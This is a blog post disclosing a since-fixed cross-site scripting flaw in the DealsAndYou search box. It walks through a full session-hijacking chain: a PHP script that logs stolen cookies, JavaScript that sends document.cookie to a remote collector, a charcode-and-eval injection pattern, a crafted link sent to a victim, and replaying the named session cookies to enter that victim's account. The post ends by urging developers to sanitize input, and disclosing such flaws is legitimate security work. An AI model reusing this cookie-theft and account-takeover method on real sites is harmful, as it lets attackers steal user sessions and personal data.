DealsAndYou, why you no sanitize inputs?

Standard, Y U NO sanitize input, Y U NO sanitize input

Update: Dealsandyou has fixed the bug. Responded on twitter with a thanks.

Click to see full-size image.


I was looking at a couple of days back and something (may be their bad design) made me do a XSS vulnerability test on their “Search” input box using the XSS Locator code snippet. Voila!, an alert box popped up confirming my hunch.

XSS vulnerability found!

Click to see full-size image.

For those who don’t know what XSS (Cross-site scripting) attack means, here’s an excerpt from wikipedia:

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications, such as web browsers through breaches of browser security, that enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec as of 2007. Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site’s owner.

So, once it was confirmed that the webpage was prone to XSS attack, next steps were:

  1. Injecting a javascript snippet into the web page which steals the cookie information.
  2. Sending this cookie information to a remote server and storing it.
  3. Using this stored cookie information to login into the system without any username and password.

Time for details now 😀

Step 1 – Writing a php script to get the cookie returned by xss injected code.

$str = trim($_REQUEST['cookie']);
$file = 'cookie.txt';
    $current = file_get_contents($file);
    $current .= date('Y-m-d H:i:s') . "\t\t" . $str . "\n\n\n";
    file_put_contents($file, $current);

The above php code is very simple. It just gets the cookie value from querystring and logs it into a text file. After logging the cookie value, it just redirects back to DealsAndYou. Nothing fancy.

Step 2 – Writing the javascript injection script.

var mycookie=document.cookie;
window.location.href = ''+ mycookie;

The above javascript code is quite simple as well. It gets the cookie and redirects the user to the cookie stealer page with cookie information as querystring. Though, before injection happens, this code snippet needs to be converted into equivalent javascript charcode . I used to do this. The equivalent javascript charCode looks something like following (removed spaces after conversion):


Now, the actual magic begins. I borrowed the working pattern from XSS Locator snippet and modified it to make it work for dealsandyou. Below is the snippet:

';eval(String.fromCharCode("Javascript charCode goes here"))//
I added the equivalent charcode in this pattern and did an urlencode which made the injection code look like this:

I searched for a random word (“a” in my case) on dealsandyou and the following screen appears:


Click to see full-size image.

In the address bar, I replaced “a” after “q=” with final urlencoded js code to get the following magic link:

If this link is sent (a link shortener can be used to make the url pretty) to a victim and when victim clicks on the link, following happens:

  1. Javascript will be injected and executed on dealsandyou which will get the dealsandyou cookie and this cookie information will be sent to the remote server.
  2. This cookie will be logged into the text file “cookie.txt” (or whatever the file name is) on remote server.
  3. The victim will be redirected back to without knowing what happened.

The screenshot below shows a cookie entry from the cookie log file on the remote server:


Click to see full-size image.

If the victim was logged in into dealsandyou while clicking the link, the cookie information can be used to get into victim’s account without any username or password.

Step 3 – Using the cookie to log in without username or password.

After a bit of hit and trial, I was able to figure out which cookie entries were being used to check for authenticated user. The two entries were “frontend” and “isCustomerLogin”.


Click to see full-size image.

I used Edit This Cookie chrome plugin to edit the cookies in chrome. I replaced the cookie value of these 2 entries in dealsandyou cookie with the values in the log file and saved the cookie.


Click to see full-size image.

When I refreshed the page, I was logged in!


Click to see full-size image.

I clicked on the account info link and I was able to see user information of the victim.


Click to see full-size image.

And all this happened for a very simple reason. The input wasn’t sanitized properly. 1.5 years ago, I found similar XSS vulnerabilities in Flipkart and infibeam as well. See the screenshots below.

Flipkart XSS

Click to see full-size image.

Infibeam XSS

Click to see full-size image.

So, QA guys – start testing for XSS vulnerabilities, and Coders – start sanitizing your inputs properly.

Leave a Reply

Your email address will not be published. Required fields are marked *